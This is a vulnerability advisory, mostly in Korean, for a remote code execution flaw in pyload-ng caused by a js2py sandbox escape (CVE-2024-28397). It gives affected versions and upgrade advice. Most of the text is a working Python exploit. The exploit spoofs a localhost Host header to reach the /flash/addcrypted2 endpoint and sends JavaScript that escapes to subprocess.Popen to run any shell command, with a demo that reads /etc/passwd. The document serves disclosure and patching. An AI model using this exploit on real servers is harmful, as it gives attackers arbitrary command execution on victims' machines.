
Pyload RCE with js2py sandbox escape
Pyload RCE with js2py 샌드박스 탈출
python3.11 이하에서 실행되는 모든 pyload-ng는 RCE에 취약합니다. 공격자는 임의의 셸 명령이 포함된 요청을 보낼 수 있으며, 피해자 서버는 이를 즉시 실행합니다.
pyload-ng의 최신 버전으로 업그레이드하거나 python3.12 이상에서 pyload를 실행하면 됩니다.
js2py는 CVE-2024-28397로 지정된 샌드박스 탈출 취약점이 있으며, 이는 pyload-ng의 /flash/addcrypted2 API 엔드포인트에서 사용됩니다. 이 엔드포인트는 localhost 연결만 허용하도록 설계되었지만, HTTP 헤더를 사용하여 이 제한을 우회하고 API에 접근하여 RCE를 달성할 수 있습니다.
PoC는 아래와 같습니다. 실행할 셸 명령을 수정할 수 있습니다:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
python3.11 이하에서 pyload-ng 최신 버전(<=0.5.0b3.dev85)을 실행하는 모든 사용자가 영향을 받습니다. pyload-ng는 python3.12 이상에서는 js2py를 사용하지 않습니다.
https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g